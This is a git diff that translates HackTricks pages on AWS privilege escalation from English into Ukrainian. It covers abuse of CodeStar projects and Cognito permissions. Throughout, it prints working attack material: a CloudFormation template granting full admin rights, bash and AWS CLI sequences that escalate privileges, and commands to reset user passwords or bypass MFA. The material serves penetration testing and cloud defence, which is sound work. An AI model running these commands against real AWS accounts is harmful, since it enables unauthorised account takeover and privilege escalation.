ресурси в середовищі можуть бути необхідні для подальшого підвищення привілеїв. -For more information check the original research: [https://rhinosecuritylabs.com/aws/escalating-aws-iam-privileges-undocumented-codestar-api/](https://rhinosecuritylabs.com/aws/escalating-aws-iam-privileges-undocumented-codestar-api/).\ -You can find the exploit in [https://github.com/RhinoSecurityLabs/Cloud-Security-Research/blob/master/AWS/codestar_createprojectfromtemplate_privesc/CodeStarPrivEsc.py](https://github.com/RhinoSecurityLabs/Cloud-Security-Research/blob/master/AWS/codestar_createprojectfromtemplate_privesc/CodeStarPrivEsc.py) +Для отримання додаткової інформації перевірте оригінальне дослідження: [https://rhinosecuritylabs.com/aws/escalating-aws-iam-privileges-undocumented-codestar-api/](https://rhinosecuritylabs.com/aws/escalating-aws-iam-privileges-undocumented-codestar-api/).\ +Ви можете знайти експлойт у [https://github.com/RhinoSecurityLabs/Cloud-Security-Research/blob/master/AWS/codestar_createprojectfromtemplate_privesc/CodeStarPrivEsc.py](https://github.com/RhinoSecurityLabs/Cloud-Security-Research/blob/master/AWS/codestar_createprojectfromtemplate_privesc/CodeStarPrivEsc.py) -**Potential Impact:** Privesc to cloudformation IAM role. +**Потенційний вплив:** Privesc до ролі cloudformation IAM. {{#include ../../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codestar-privesc/codestar-createproject-codestar-associateteammember.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codestar-privesc/codestar-createproject-codestar-associateteammember.md index 0de95738e..92b43db09 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codestar-privesc/codestar-createproject-codestar-associateteammember.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codestar-privesc/codestar-createproject-codestar-associateteammember.md @@ -2,84 +2,78 @@ {{#include ../../../../banners/hacktricks-training.md}} -This is the created policy the user can privesc to (the project name was `supercodestar`): - +Це створена політика, до якої користувач може підвищити свої привілеї (ім'я проекту було `supercodestar`): ```json { - "Version": "2012-10-17", - "Statement": [ - { - "Sid": "1", - "Effect": "Allow", - "Action": ["codestar:*", "iam:GetPolicy*", "iam:ListPolicyVersions"], - "Resource": [ - "arn:aws:codestar:eu-west-1:947247140022:project/supercodestar", - "arn:aws:events:eu-west-1:947247140022:rule/awscodestar-supercodestar-SourceEvent", - "arn:aws:iam::947247140022:policy/CodeStar_supercodestar_Owner" - ] - }, - { - "Sid": "2", - "Effect": "Allow", - "Action": [ - "codestar:DescribeUserProfile", - "codestar:ListProjects", - "codestar:ListUserProfiles", - "codestar:VerifyServiceRole", - "cloud9:DescribeEnvironment*", - "cloud9:ValidateEnvironmentName", - "cloudwatch:DescribeAlarms", - "cloudwatch:GetMetricStatistics", - "cloudwatch:ListMetrics", - "codedeploy:BatchGet*", - "codedeploy:List*", - "codestar-connections:UseConnection", - "ec2:DescribeInstanceTypeOfferings", - "ec2:DescribeInternetGateways", - "ec2:DescribeNatGateways", - "ec2:DescribeRouteTables", - "ec2:DescribeSecurityGroups", - "ec2:DescribeSubnets", - "ec2:DescribeVpcs", - "events:ListRuleNamesByTarget", - "iam:GetAccountSummary", - "iam:GetUser", - "iam:ListAccountAliases", - "iam:ListRoles", - "iam:ListUsers", - "lambda:List*", - "sns:List*" - ], - "Resource": ["*"] - }, - { - "Sid": "3", - "Effect": "Allow", - "Action": [ - "codestar:*UserProfile", - "iam:GenerateCredentialReport", - "iam:GenerateServiceLastAccessedDetails", - "iam:CreateAccessKey", - "iam:UpdateAccessKey", - "iam:DeleteAccessKey", - "iam:UpdateSSHPublicKey", - "iam:UploadSSHPublicKey", - "iam:DeleteSSHPublicKey", - "iam:CreateServiceSpecificCredential", - "iam:UpdateServiceSpecificCredential", - "iam:DeleteServiceSpecificCredential", - "iam:ResetServiceSpecificCredential", - "iam:Get*", - "iam:List*" - ], - "Resource": ["arn:aws:iam::947247140022:user/${aws:username}"] - } - ] +"Version": "2012-10-17", +"Statement": [ +{ +"Sid": "1", +"Effect": "Allow", +"Action": ["codestar:*", "iam:GetPolicy*", "iam:ListPolicyVersions"], +"Resource": [ +"arn:aws:codestar:eu-west-1:947247140022:project/supercodestar", +"arn:aws:events:eu-west-1:947247140022:rule/awscodestar-supercodestar-SourceEvent", +"arn:aws:iam::947247140022:policy/CodeStar_supercodestar_Owner" +] +}, +{ +"Sid": "2", +"Effect": "Allow", +"Action": [ +"codestar:DescribeUserProfile", +"codestar:ListProjects", +"codestar:ListUserProfiles", +"codestar:VerifyServiceRole", +"cloud9:DescribeEnvironment*", +"cloud9:ValidateEnvironmentName", +"cloudwatch:DescribeAlarms", +"cloudwatch:GetMetricStatistics", +"cloudwatch:ListMetrics", +"codedeploy:BatchGet*", +"codedeploy:List*", +"codestar-connections:UseConnection", +"ec2:DescribeInstanceTypeOfferings", +"ec2:DescribeInternetGateways", +"ec2:DescribeNatGateways", +"ec2:DescribeRouteTables", +"ec2:DescribeSecurityGroups", +"ec2:DescribeSubnets", +"ec2:DescribeVpcs", +"events:ListRuleNamesByTarget", +"iam:GetAccountSummary", +"iam:GetUser", +"iam:ListAccountAliases", +"iam:ListRoles", +"iam:ListUsers", +"lambda:List*", +"sns:List*" +], +"Resource": ["*"] +}, +{ +"Sid": "3", +"Effect": "Allow", +"Action": [ +"codestar:*UserProfile", +"iam:GenerateCredentialReport", +"iam:GenerateServiceLastAccessedDetails", +"iam:CreateAccessKey", +"iam:UpdateAccessKey", +"iam:DeleteAccessKey", +"iam:UpdateSSHPublicKey", +"iam:UploadSSHPublicKey", +"iam:DeleteSSHPublicKey", +"iam:CreateServiceSpecificCredential", +"iam:UpdateServiceSpecificCredential", +"iam:DeleteServiceSpecificCredential", +"iam:ResetServiceSpecificCredential", +"iam:Get*", +"iam:List*" +], +"Resource": ["arn:aws:iam::947247140022:user/${aws:username}"] +} +] } ``` - {{#include ../../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codestar-privesc/iam-passrole-codestar-createproject.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codestar-privesc/iam-passrole-codestar-createproject.md index 891d72df5..38424eb2c 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codestar-privesc/iam-passrole-codestar-createproject.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codestar-privesc/iam-passrole-codestar-createproject.md @@ -2,42 +2,39 @@ {{#include ../../../../banners/hacktricks-training.md}} -With these permissions you can **abuse a codestar IAM Role** to perform **arbitrary actions** through a **cloudformation template**. - -To exploit this you need to create a **S3 bucket that is accessible** from the attacked account. Upload a file called `toolchain.json` . This file should contain the **cloudformation template exploit**. The following one can be used to set a managed policy to a user under your control and **give it admin permissions**: +З цими дозволами ви можете **зловживати роллю IAM codestar** для виконання **произвольних дій** через **шаблон cloudformation**. +Щоб це експлуатувати, вам потрібно створити **S3 бакет, який доступний** з атакованого облікового запису. Завантажте файл під назвою `toolchain.json`. Цей файл повинен містити **експлойт шаблону cloudformation**. Наступний може бути використаний для встановлення керованої політики для користувача під вашим контролем і **надання йому адміністративних прав**: ```json:toolchain.json { - "Resources": { - "supercodestar": { - "Type": "AWS::IAM::ManagedPolicy", - "Properties": { - "ManagedPolicyName": "CodeStar_supercodestar", - "PolicyDocument": { - "Version": "2012-10-17", - "Statement": [ - { - "Effect": "Allow", - "Action": "*", - "Resource": "*" - } - ] - }, - "Users": [""] - } - } - } +"Resources": { +"supercodestar": { +"Type": "AWS::IAM::ManagedPolicy", +"Properties": { +"ManagedPolicyName": "CodeStar_supercodestar", +"PolicyDocument": { +"Version": "2012-10-17", +"Statement": [ +{ +"Effect": "Allow", +"Action": "*", +"Resource": "*" +} +] +}, +"Users": [""] +} +} +} } ``` - -Also **upload** this `empty zip` file to the **bucket**: +Також **завантажте** цей `порожній zip` файл до **бакету**: {% file src="../../../../images/empty.zip" %} -Remember that the **bucket with both files must be accessible by the victim account**. - -With both things uploaded you can now proceed to the **exploitation** creating a **codestar** project: +Пам'ятайте, що **бакет з обома файлами має бути доступний обліковому запису жертви**. +З обома завантаженими файлами ви тепер можете перейти до **експлуатації**, створюючи проект **codestar**: ```bash PROJECT_NAME="supercodestar" @@ -45,19 +42,19 @@ PROJECT_NAME="supercodestar" ## In this JSON the bucket and key (path) to the empry.zip file is used SOURCE_CODE_PATH="/tmp/surce_code.json" SOURCE_CODE="[ - { - \"source\": { - \"s3\": { - \"bucketName\": \"privesc\", - \"bucketKey\": \"empty.zip\" - } - }, - \"destination\": { - \"codeCommit\": { - \"name\": \"$PROJECT_NAME\" - } - } - } +{ +\"source\": { +\"s3\": { +\"bucketName\": \"privesc\", +\"bucketKey\": \"empty.zip\" +} +}, +\"destination\": { +\"codeCommit\": { +\"name\": \"$PROJECT_NAME\" +} +} +} ]" printf "$SOURCE_CODE" > $SOURCE_CODE_PATH @@ -65,28 +62,23 @@ printf "$SOURCE_CODE" > $SOURCE_CODE_PATH ## In this JSON the bucket and key (path) to the toolchain.json file is used TOOLCHAIN_PATH="/tmp/tool_chain.json" TOOLCHAIN="{ - \"source\": { - \"s3\": { - \"bucketName\": \"privesc\", - \"bucketKey\": \"toolchain.json\" - } - }, - \"roleArn\": \"arn:aws:iam::947247140022:role/service-role/aws-codestar-service-role\" +\"source\": { +\"s3\": { +\"bucketName\": \"privesc\", +\"bucketKey\": \"toolchain.json\" +} +}, +\"roleArn\": \"arn:aws:iam::947247140022:role/service-role/aws-codestar-service-role\" }" printf "$TOOLCHAIN" > $TOOLCHAIN_PATH # Create the codestar project that will use the cloudformation epxloit to privesc aws codestar create-project \ - --name $PROJECT_NAME \ - --id $PROJECT_NAME \ - --source-code file://$SOURCE_CODE_PATH \ - --toolchain file://$TOOLCHAIN_PATH +--name $PROJECT_NAME \ +--id $PROJECT_NAME \ +--source-code file://$SOURCE_CODE_PATH \ +--toolchain file://$TOOLCHAIN_PATH ``` - -This exploit is based on the **Pacu exploit of these privileges**: [https://github.com/RhinoSecurityLabs/pacu/blob/2a0ce01f075541f7ccd9c44fcfc967cad994f9c9/pacu/modules/iam\_\_privesc_scan/main.py#L1997](https://github.com/RhinoSecurityLabs/pacu/blob/2a0ce01f075541f7ccd9c44fcfc967cad994f9c9/pacu/modules/iam__privesc_scan/main.py#L1997) On it you can find a variation to create an admin managed policy for a role instead of to a user. +Цей експлойт базується на **Pacu експлойті цих привілеїв**: [https://github.com/RhinoSecurityLabs/pacu/blob/2a0ce01f075541f7ccd9c44fcfc967cad994f9c9/pacu/modules/iam\_\_privesc_scan/main.py#L1997](https://github.com/RhinoSecurityLabs/pacu/blob/2a0ce01f075541f7ccd9c44fcfc967cad994f9c9/pacu/modules/iam__privesc_scan/main.py#L1997) На ньому ви можете знайти варіацію для створення адміністраторської керованої політики для ролі замість користувача. {{#include ../../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cognito-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cognito-privesc.md index ddd0c1efd..ff85c0496 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cognito-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cognito-privesc.md @@ -4,28 +4,27 @@ ## Cognito -For more info about Cognito check: +Для отримання додаткової інформації про Cognito перегляньте: {{#ref}} ../aws-services/aws-cognito-enum/ {{#endref}} -### Gathering credentials from Identity Pool +### Збір облікових даних з Identity Pool -As Cognito can grant **IAM role credentials** to both **authenticated** an **unauthenticated** **users**, if you locate the **Identity Pool ID** of an application (should be hardcoded on it) you can obtain new credentials and therefore privesc (inside an AWS account where you probably didn't even have any credential previously). +Оскільки Cognito може надавати **облікові дані IAM ролі** як **авторизованим**, так і **неавторизованим** **користувачам**, якщо ви знайдете **ID Identity Pool** програми (повинен бути закодований в ній), ви можете отримати нові облікові дані і, отже, privesc (всередині облікового запису AWS, де ви, ймовірно, раніше не мали жодних облікових даних). -For more information [**check this page**](../aws-unauthenticated-enum-access/#cognito). +Для отримання додаткової інформації [**перегляньте цю сторінку**](../aws-unauthenticated-enum-access/#cognito). -**Potential Impact:** Direct privesc to the services role attached to unauth users (and probably to the one attached to auth users). +**Потенційний вплив:** Прямий privesc до ролі сервісу, прикріпленої до неавторизованих користувачів (і, ймовірно, до тієї, що прикріплена до авторизованих користувачів). ### `cognito-identity:SetIdentityPoolRoles`, `iam:PassRole` -With this permission you can **grant any cognito role** to the authenticated/unauthenticated users of the cognito app. - +З цією дозволом ви можете **надавати будь-яку роль cognito** авторизованим/неавторизованим користувачам програми cognito. ```bash aws cognito-identity set-identity-pool-roles \ - --identity-pool-id \ - --roles unauthenticated= +--identity-pool-id \ +--roles unauthenticated= # Get credentials ## Get one ID @@ -33,286 +32,243 @@ aws cognito-identity get-id --identity-pool-id "eu-west-2:38b294756-2578-8246-90 ## Get creds for that id aws cognito-identity get-credentials-for-identity --identity-id "eu-west-2:195f9c73-4789-4bb4-4376-99819b6928374" ``` +Якщо додаток cognito **не має увімкнених неавтентифікованих користувачів**, вам також може знадобитися дозвіл `cognito-identity:UpdateIdentityPool`, щоб увімкнути його. -If the cognito app **doesn't have unauthenticated users enabled** you might need also the permission `cognito-identity:UpdateIdentityPool` to enable it. - -**Potential Impact:** Direct privesc to any cognito role. +**Потенційний вплив:** Пряме підвищення привілеїв до будь-якої ролі cognito. ### `cognito-identity:update-identity-pool` -An attacker with this permission could set for example a Cognito User Pool under his control or any other identity provider where he can login as a **way to access this Cognito Identity Pool**. Then, just **login** on that user provider will **allow him to access the configured authenticated role in the Identity Pool**. - +Зловмисник з цим дозволом міг би, наприклад, налаштувати підконтрольний йому Cognito User Pool або будь-який інший постачальник ідентичності, де він може увійти, як **спосіб доступу до цього Cognito Identity Pool**. Тоді просто **вхід** на цьому постачальнику користувачів **дозволить йому отримати доступ до налаштованої автентифікованої ролі в Identity Pool**. ```bash # This example is using a Cognito User Pool as identity provider ## but you could use any other identity provider aws cognito-identity update-identity-pool \ - --identity-pool-id \ - --identity-pool-name \ - [--allow-unauthenticated-identities | --no-allow-unauthenticated-identities] \ - --cognito-identity-providers ProviderName=user-pool-id,ClientId=client-id,ServerSideTokenCheck=false +--identity-pool-id \ +--identity-pool-name \ +[--allow-unauthenticated-identities | --no-allow-unauthenticated-identities] \ +--cognito-identity-providers ProviderName=user-pool-id,ClientId=client-id,ServerSideTokenCheck=false # Now you need to login to the User Pool you have configured ## after having the id token of the login continue with the following commands: # In this step you should have already an ID Token aws cognito-identity get-id \ - --identity-pool-id \ - --logins cognito-idp..amazonaws.com/= +--identity-pool-id \ +--logins cognito-idp..amazonaws.com/= # Get the identity_id from thr previous commnad response aws cognito-identity get-credentials-for-identity \ - --identity-id \ - --logins cognito-idp..amazonaws.com/= +--identity-id \ +--logins cognito-idp..amazonaws.com/= ``` - -It's also possible to **abuse this permission to allow basic auth**: - +Цю дозволу також можна **зловживати для дозволу базової аутентифікації**: ```bash aws cognito-identity update-identity-pool \ - --identity-pool-id \ - --identity-pool-name \ - --allow-unauthenticated-identities - --allow-classic-flow +--identity-pool-id \ +--identity-pool-name \ +--allow-unauthenticated-identities +--allow-classic-flow ``` - -**Potential Impact**: Compromise the configured authenticated IAM role inside the identity pool. +**Потенційний вплив**: Компрометація налаштованої аутентифікованої IAM ролі всередині пулу ідентичностей. ### `cognito-idp:AdminAddUserToGroup` -This permission allows to **add a Cognito user to a Cognito group**, therefore an attacker could abuse this permission to add an user under his control to other groups with **better** privileges or **different IAM roles**: - +Ця дозволена дія дозволяє **додати користувача Cognito до групи Cognito**, тому зловмисник може зловживати цим дозволом, щоб додати користувача під своїм контролем до інших груп з **кращими** привілеями або **іншими IAM ролями**: ```bash aws cognito-idp admin-add-user-to-group \ - --user-pool-id \ - --username \ - --group-name +--user-pool-id \ +--username \ +--group-name ``` - -**Potential Impact:** Privesc to other Cognito groups and IAM roles attached to User Pool Groups. +**Потенційний вплив:** Привілейоване підвищення до інших груп Cognito та IAM ролей, прикріплених до груп користувачів. ### (`cognito-idp:CreateGroup` | `cognito-idp:UpdateGroup`), `iam:PassRole` -An attacker with these permissions could **create/update groups** with **every IAM role that can be used by a compromised Cognito Identity Provider** and make a compromised user part of the group, accessing all those roles: - +Зловмисник з цими дозволами може **створювати/оновлювати групи** з **кожною IAM роллю, яка може бути використана скомпрометованим постачальником ідентичності Cognito** і зробити скомпрометованого користувача частиною групи, отримуючи доступ до всіх цих ролей: ```bash aws cognito-idp create-group --group-name Hacked --user-pool-id --role-arn ``` - -**Potential Impact:** Privesc to other Cognito IAM roles. +**Потенційний вплив:** Привілейоване підвищення до інших ролей IAM Cognito. ### `cognito-idp:AdminConfirmSignUp` -This permission allows to **verify a signup**. By default anyone can sign in Cognito applications, if that is left, a user could create an account with any data and verify it with this permission. - +Цей дозвіл дозволяє **підтвердити реєстрацію**. За замовчуванням будь-хто може увійти в програми Cognito, якщо це залишити, користувач може створити обліковий запис з будь-якими даними та підтвердити його за допомогою цього дозволу. ```bash aws cognito-idp admin-confirm-sign-up \ - --user-pool-id \ - --username +--user-pool-id \ +--username ``` - -**Potential Impact:** Indirect privesc to the identity pool IAM role for authenticated users if you can register a new user. Indirect privesc to other app functionalities being able to confirm any account. +**Потенційний вплив:** Непряме підвищення привілеїв до IAM ролі пулу ідентичностей для автентифікованих користувачів, якщо ви можете зареєструвати нового користувача. Непряме підвищення привілеїв до інших функцій програми, маючи можливість підтвердити будь-який обліковий запис. ### `cognito-idp:AdminCreateUser` -This permission would allow an attacker to create a new user inside the user pool. The new user is created as enabled, but will need to change its password. - +Ця дозволена дія дозволить зловмиснику створити нового користувача в пулі користувачів. Новий користувач створюється як активний, але повинен буде змінити свій пароль. ```bash aws cognito-idp admin-create-user \ - --user-pool-id \ - --username \ - [--user-attributes ] ([Name=email,Value=email@gmail.com]) - [--validation-data ] - [--temporary-password ] +--user-pool-id \ +--username \ +[--user-attributes ] ([Name=email,Value=email@gmail.com]) +[--validation-data ] +[--temporary-password ] ``` - -**Potential Impact:** Direct privesc to the identity pool IAM role for authenticated users. Indirect privesc to other app functionalities being able to create any user +**Потенційний вплив:** Пряме підвищення привілеїв до IAM ролі пулу ідентичностей для автентифікованих користувачів. Непряме підвищення привілеїв до інших функцій програми, що дозволяє створювати будь-якого користувача. ### `cognito-idp:AdminEnableUser` -This permissions can help in. a very edge-case scenario where an attacker found the credentials of a disabled user and he needs to **enable it again**. - +Ці дозволи можуть допомогти в дуже крайніх випадках, коли зловмисник знайшов облікові дані вимкненого користувача і йому потрібно **включити його знову**. ```bash aws cognito-idp admin-enable-user \ - --user-pool-id \ - --username +--user-pool-id \ +--username ``` - -**Potential Impact:** Indirect privesc to the identity pool IAM role for authenticated users and permissions of the user if the attacker had credentials for a disabled user. +**Потенційний вплив:** Непряме підвищення привілеїв до IAM ролі пулу ідентичностей для автентифікованих користувачів та дозволів користувача, якщо зловмисник мав облікові дані для деактивованого користувача. ### `cognito-idp:AdminInitiateAuth`, **`cognito-idp:AdminRespondToAuthChallenge`** -This permission allows to login with the [**method ADMIN_USER_PASSWORD_AUTH**](../aws-services/aws-cognito-enum/cognito-user-pools.md#admin_no_srp_auth-and-admin_user_password_auth)**.** For more information follow the link. +Цей дозвіл дозволяє увійти за допомогою [**методу ADMIN_USER_PASSWORD_AUTH**](../aws-services/aws-cognito-enum/cognito-user-pools.md#admin_no_srp_auth-and-admin_user_password_auth)**.** Для отримання додаткової інформації перейдіть за посиланням. ### `cognito-idp:AdminSetUserPassword` -This permission would allow an attacker to **change the password of any user**, making him able to impersonate any user (that doesn't have MFA enabled). - +Цей дозвіл дозволив би зловмиснику **змінити пароль будь-якого користувача**, що дозволяє йому видавати себе за будь-якого користувача (який не має увімкненої MFA). ```bash aws cognito-idp admin-set-user-password \ - --user-pool-id \ - --username \ - --password \ - --permanent +--user-pool-id \ +--username \ +--password \ +--permanent ``` - -**Potential Impact:** Direct privesc to potentially any user, so access to all the groups each user is member of and access to the Identity Pool authenticated IAM role. +**Потенційний вплив:** Пряме підвищення привілеїв до потенційно будь-якого користувача, отже доступ до всіх груп, членом яких є кожен користувач, та доступ до аутентифікованої IAM ролі Identity Pool. ### `cognito-idp:AdminSetUserSettings` | `cognito-idp:SetUserMFAPreference` | `cognito-idp:SetUserPoolMfaConfig` | `cognito-idp:UpdateUserPool` -**AdminSetUserSettings**: An attacker could potentially abuse this permission to set a mobile phone under his control as **SMS MFA of a user**. - +**AdminSetUserSettings**: Зловмисник може потенційно зловживати цим дозволом, щоб встановити мобільний телефон під своїм контролем як **SMS MFA користувача**. ```bash aws cognito-idp admin-set-user-settings \ - --user-pool-id \ - --username \ - --mfa-options +--user-pool-id \ +--username \ +--mfa-options ``` - -**SetUserMFAPreference:** Similar to the previous one this permission can be used to set MFA preferences of a user to bypass the MFA protection. - +**SetUserMFAPreference:** Схоже на попереднє, ця дозволяє використовувати для налаштування переваг MFA користувача, щоб обійти захист MFA. ```bash aws cognito-idp admin-set-user-mfa-preference \ - [--sms-mfa-settings ] \ - [--software-token-mfa-settings ] \ - --username \ - --user-pool-id +[--sms-mfa-settings ] \ +[--software-token-mfa-settings ] \ +--username \ +--user-pool-id ``` - -**SetUserPoolMfaConfig**: Similar to the previous one this permission can be used to set MFA preferences of a user pool to bypass the MFA protection. - +**SetUserPoolMfaConfig**: Схоже на попереднє, ця дозволена дія може бути використана для налаштування переваг MFA пулу користувачів, щоб обійти захист MFA. ```bash aws cognito-idp set-user-pool-mfa-config \ - --user-pool-id \ - [--sms-mfa-configuration ] \ - [--software-token-mfa-configuration ] \ - [--mfa-configuration ] +--user-pool-id \ +[--sms-mfa-configuration ] \ +[--software-token-mfa-configuration ] \ +[--mfa-configuration ] ``` +**UpdateUserPool:** Також можливо оновити пул користувачів, щоб змінити політику MFA. [Перевірте cli тут](https://docs.aws.amazon.com/cli/latest/reference/cognito-idp/update-user-pool.html). -**UpdateUserPool:** It's also possible to update the user pool to change the MFA policy. [Check cli here](https://docs.aws.amazon.com/cli/latest/reference/cognito-idp/update-user-pool.html). - -**Potential Impact:** Indirect privesc to potentially any user the attacker knows the credentials of, this could allow to bypass the MFA protection. +**Potential Impact:** Непряме підвищення привілеїв до потенційно будь-якого користувача, облікові дані якого відомі атакуючому, це може дозволити обійти захист MFA. ### `cognito-idp:AdminUpdateUserAttributes` -An attacker with this permission could change the email or phone number or any other attribute of a user under his control to try to obtain more privileges in an underlaying application.\ -This allows to change an email or phone number and set it as verified. - +Атакуючий з цим дозволом міг би змінити електронну пошту або номер телефону або будь-який інший атрибут користувача під його контролем, щоб спробувати отримати більше привілеїв в основному додатку.\ +Це дозволяє змінити електронну пошту або номер телефону та встановити його як перевірений. ```bash aws cognito-idp admin-update-user-attributes \ - --user-pool-id \ - --username \ - --user-attributes +--user-pool-id \ +--username \ +--user-attributes ``` - -**Potential Impact:** Potential indirect privesc in the underlying application using Cognito User Pool that gives privileges based on user attributes. +**Потенційний вплив:** Потенційний непрямий підвищення привілеїв в основному додатку, що використовує Cognito User Pool, який надає привілеї на основі атрибутів користувача. ### `cognito-idp:CreateUserPoolClient` | `cognito-idp:UpdateUserPoolClient` -An attacker with this permission could **create a new User Pool Client less restricted** than already existing pool clients. For example, the new client could allow any kind of method to authenticate, don't have any secret, have token revocation disabled, allow tokens to be valid for a longer period... +Зловмисник з цим дозволом може **створити новий User Pool Client менш обмежений**, ніж вже існуючі клієнти пулу. Наприклад, новий клієнт може дозволити будь-який метод аутентифікації, не мати жодного секрету, мати вимкнене відкликання токенів, дозволяти токени бути дійсними протягом більш тривалого періоду... -The same can be be don if instead of creating a new client, an **existing one is modified**. - -In the [**command line**](https://docs.aws.amazon.com/cli/latest/reference/cognito-idp/create-user-pool-client.html) (or the [**update one**](https://docs.aws.amazon.com/cli/latest/reference/cognito-idp/update-user-pool-client.html)) you can see all the options, check it!. +Те ж саме можна зробити, якщо замість створення нового клієнта, **модифікується існуючий**. +В [**командному рядку**](https://docs.aws.amazon.com/cli/latest/reference/cognito-idp/create-user-pool-client.html) (або [**оновленому**](https://docs.aws.amazon.com/cli/latest/reference/cognito-idp/update-user-pool-client.html)) ви можете побачити всі опції, перевірте це!. ```bash aws cognito-idp create-user-pool-client \ - --user-pool-id \ - --client-name \ - [...] +--user-pool-id \ +--client-name \ +[...] ``` - -**Potential Impact:** Potential indirect privesc to the Identity Pool authorized user used by the User Pool by creating a new client that relax the security measures and makes possible to an attacker to login with a user he was able to create. +**Потенційний вплив:** Потенційний непрямий privesc до авторизованого користувача Identity Pool, використаного User Pool, шляхом створення нового клієнта, який послаблює заходи безпеки і дозволяє зловмиснику увійти з користувачем, якого він зміг створити. ### `cognito-idp:CreateUserImportJob` | `cognito-idp:StartUserImportJob` -An attacker could abuse this permission to create users y uploading a csv with new users. - +Зловмисник може зловживати цим дозволом для створення користувачів, завантажуючи csv з новими користувачами. ```bash # Create a new import job aws cognito-idp create-user-import-job \ - --job-name \ - --user-pool-id \ - --cloud-watch-logs-role-arn +--job-name \ +--user-pool-id \ +--cloud-watch-logs-role-arn # Use a new import job aws cognito-idp start-user-import-job \ - --user-pool-id \ - --job-id +--user-pool-id \ +--job-id # Both options before will give you a URL where you can send the CVS file with the users to create curl -v -T "PATH_TO_CSV_FILE" \ - -H "x-amz-server-side-encryption:aws:kms" "PRE_SIGNED_URL" +-H "x-amz-server-side-encryption:aws:kms" "PRE_SIGNED_URL" ``` +(У випадку, якщо ви створюєте нову задачу імпорту, вам також може знадобитися дозвіл iam passrole, я ще не тестував це). -(In the case where you create a new import job you might also need the iam passrole permission, I haven't tested it yet). - -**Potential Impact:** Direct privesc to the identity pool IAM role for authenticated users. Indirect privesc to other app functionalities being able to create any user. +**Потенційний вплив:** Пряме підвищення привілеїв до IAM ролі пулу ідентичностей для автентифікованих користувачів. Непряме підвищення привілеїв до інших функцій програми, що дозволяє створювати будь-якого користувача. ### `cognito-idp:CreateIdentityProvider` | `cognito-idp:UpdateIdentityProvider` -An attacker could create a new identity provider to then be able to **login through this provider**. - +Зловмисник може створити нового постачальника ідентичностей, щоб потім мати можливість **увійти через цього постачальника**. ```bash aws cognito-idp create-identity-provider \ - --user-pool-id \ - --provider-name \ - --provider-type \ - --provider-details \ - [--attribute-mapping ] \ - [--idp-identifiers ] +--user-pool-id \ +--provider-name \ +--provider-type \ +--provider-details \ +[--attribute-mapping ] \ +[--idp-identifiers ] ``` +**Potential Impact:** Пряме підвищення привілеїв до IAM ролі пулу ідентичностей для автентифікованих користувачів. Непряме підвищення привілеїв до інших функцій програми, що дозволяє створювати будь-якого користувача. -**Potential Impact:** Direct privesc to the identity pool IAM role for authenticated users. Indirect privesc to other app functionalities being able to create any user. +### cognito-sync:\* Аналіз -### cognito-sync:\* Analysis +Це дуже поширений дозвіл за замовчуванням у ролях пулів ідентичностей Cognito. Навіть якщо символ підстановки в дозволах завжди виглядає погано (особливо з AWS), **надані дозволи не є надто корисними з точки зору атакуючого**. -This is a very common permission by default in roles of Cognito Identity Pools. Even if a wildcard in a permissions always looks bad (specially coming from AWS), the **given permissions aren't super useful from an attackers perspective**. +Цей дозвіл дозволяє читати інформацію про використання пулів ідентичностей та ідентифікатори ідентичностей всередині пулів ідентичностей (що не є чутливою інформацією).\ +Ідентифікатори ідентичностей можуть мати [**Datasets**](https://docs.aws.amazon.com/cognitosync/latest/APIReference/API_Dataset.html), які є інформацією про сесії (AWS визначає це як **збережену гру**). Можливо, що це містить якийсь вид чутливої інформації (але ймовірність досить низька). Ви можете знайти на [**сторінці перерахування**](../aws-services/aws-cognito-enum/), як отримати доступ до цієї інформації. -This permission allows to read use information of Identity Pools and Identity IDs inside Identity Pools (which isn't sensitive info).\ -Identity IDs might have [**Datasets**](https://docs.aws.amazon.com/cognitosync/latest/APIReference/API_Dataset.html) assigned to them, which are information of the sessions (AWS define it like a **saved game**). It might be possible that this contain some kind of sensitive information (but the probability is pretty low). You can find in the [**enumeration page**](../aws-services/aws-cognito-enum/) how to access this information. +Атакуючий також може використовувати ці дозволи, щоб **зареєструватися в потоці Cognito, який публікує зміни** в цих датасетах або **lambda, яка спрацьовує на події cognito**. Я не бачив, щоб це використовувалося, і не очікував би чутливої інформації тут, але це не неможливо. -An attacker could also use these permissions to **enroll himself to a Cognito stream that publish changes** on these datases or a **lambda that triggers on cognito events**. I haven't seen this being used, and I wouldn't expect sensitive information here, but it isn't impossible. +### Автоматичні інструменти -### Automatic Tools +- [Pacu](https://github.com/RhinoSecurityLabs/pacu), фреймворк експлуатації AWS, тепер включає модулі "cognito\_\_enum" та "cognito\_\_attack", які автоматизують перерахування всіх активів Cognito в обліковому записі та позначають слабкі конфігурації, атрибути користувачів, що використовуються для контролю доступу тощо, а також автоматизують створення користувачів (включаючи підтримку MFA) та підвищення привілеїв на основі змінних атрибутів, що підлягають модифікації, використовуваних облікових даних пулу ідентичностей, ролей, які можна прийняти в токенах ідентичності тощо. -- [Pacu](https://github.com/RhinoSecurityLabs/pacu), the AWS exploitation framework, now includes the "cognito\_\_enum" and "cognito\_\_attack" modules that automate enumeration of all Cognito assets in an account and flag weak configurations, user attributes used for access control, etc., and also automate user creation (including MFA support) and privilege escalation based on modifiable custom attributes, usable identity pool credentials, assumable roles in id tokens, etc. +Для опису функцій модулів дивіться частину 2 [блог-посту](https://rhinosecuritylabs.com/aws/attacking-aws-cognito-with-pacu-p2). Для інструкцій з установки дивіться основну сторінку [Pacu](https://github.com/RhinoSecurityLabs/pacu). -For a description of the modules' functions see part 2 of the [blog post](https://rhinosecuritylabs.com/aws/attacking-aws-cognito-with-pacu-p2). For installation instructions see the main [Pacu](https://github.com/RhinoSecurityLabs/pacu) 